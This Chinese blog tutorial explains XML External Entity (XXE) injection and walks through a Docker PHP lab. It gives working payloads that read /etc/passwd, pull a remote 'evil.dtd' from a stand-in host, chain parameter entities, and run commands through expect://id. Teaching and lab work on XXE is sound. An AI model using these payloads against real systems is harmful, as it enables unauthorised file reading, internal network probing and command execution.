• XXE漏洞


    原理:XML外部实体注入,简称XXE漏洞,XML数据在传输中数据被修改,服务器执行被恶意插入的代码。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

    XML简介:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明,DTD文档类型定义,文档元素。

    DTD(文档类型定义):

    1)内部声明:

    语法:<!DOCTYPE 根元素[元素声明]>

    示例:

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ELEMENT note (to,from,heading,body)>
      <!ELEMENT to      (#PCDATA)>
    ]>
    <note>
      <to>John</to>
    </note>

    2)外部声明:

    语法:<!DOCTYPE 根元素 SYSTEM "文件名">

    示例:

    <?xml version="1.0"?>
    <!DOCTYPE note SYSTEM "note.dtd">
    <note>
    <to>John</to>
    </note>

    note.dtd文件内容:

    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>

    DTD实体:

    1)内部实体声明:

    语法:<!ENTITY 实体名称,“实体值”>

    示例:

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY writer "Bill Gates">
    <!ENTITY copyright "Copyright W3School.com.cn">
    ]>
    
    <test>&writer;&copyright;</test>

    2)外部实体声明:

    语法:<!ENTITY 实体名称 SYSTEM “URI”>

    示例:

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY writer SYSTEM "http://www.xxx.com/dtd/note.dtd">
    ]>
    <author>&writer;</author>

    漏洞利用方法:

    1)直接通过DTD外部实体声明:

    <?xml version="1.0"?>
    <!DOCTYPE a [
         <!ENTITY b SYSTEM “file:///etc/passwd”>
    ]>
    <c>&b;</c>
    

    2)通过DTD文档引入外部DTD文档,再引入外部实体声明

    <?xml version="1.0"?>
    <!DOCTYPE c SYSTEM “http://www.xxx.com/evil.dtd”>
    <c>&b;</c>
    
    
    DTD文件内容:
    <!ENTITY b SYSTEM "file:///etc/paswd">
    

    3)通过DTD外部实体声明引入外部实体声明  

    <?xml version="1.0"?>
    <!DOCTYPE a [
         <!ENTITY % d SYSTEM “http://www.xxx.com/evil.dtd”>
         %d;
    ]>
    <c>&b;</c>
    
    
    DTD文件内容:
    <!ENTITY b SYSTEM “file:///etc/passwd”>  

     

    示例:docker中的php_xxe模块示例

    php中的libxml2.9.0以后,就默认不解析外部实体了,docker环境启动后,可以看到phpinfo页面显示的libxml版本。

    该环境下www目录下有四个文件

    除了index.php外,其他文件我们都可以利用xxe漏洞来读取文件等操作。

    打开dom.php

    抓包,然后发送到repeater:

    1.读取文件:

    <?xml version="1.0"?>
    <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <catalog>
       <core id="test101">
          <description>&xxe;</description>
       </core>
    </catalog>
    

    2.扫描端口

    通过返回不同字段来判断是否开启了端口。

    3.远程代码执行

    这种漏洞需要特定的条件才能触发,当PHP expect模块被加载到了有xxe漏洞的系统或者xml的内部应用程序上,我们就可以进行远程代码执行了

    <?xml version="1.0"?>
    <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "expect://id" >]>
    <catalog>
       <core id="test101">
          <description>&xxe;</description>
       </core>
    </catalog>
    

      

      

     

  • 相关阅读:
    PAT甲级1107. Social Clusters
    PAT甲级1103. Integer Factorization
    PAT甲级1098. Insertion or Heap Sort
    hihocoder 162周 1323 : 回文字符串
    PAT甲级1095. Cars on Campus
    PAT甲级1089. Insert or Merge
    PAT甲级1087. All Roads Lead to Rome
    PAT甲级1076. Forwards on Weibo
    PAT甲级1066. Root of AVL Tree
    PAT甲级1057. Stack
  • 原文地址:https://www.cnblogs.com/xiaoqiyue/p/10165696.html
Copyright © 2020-2023  润新知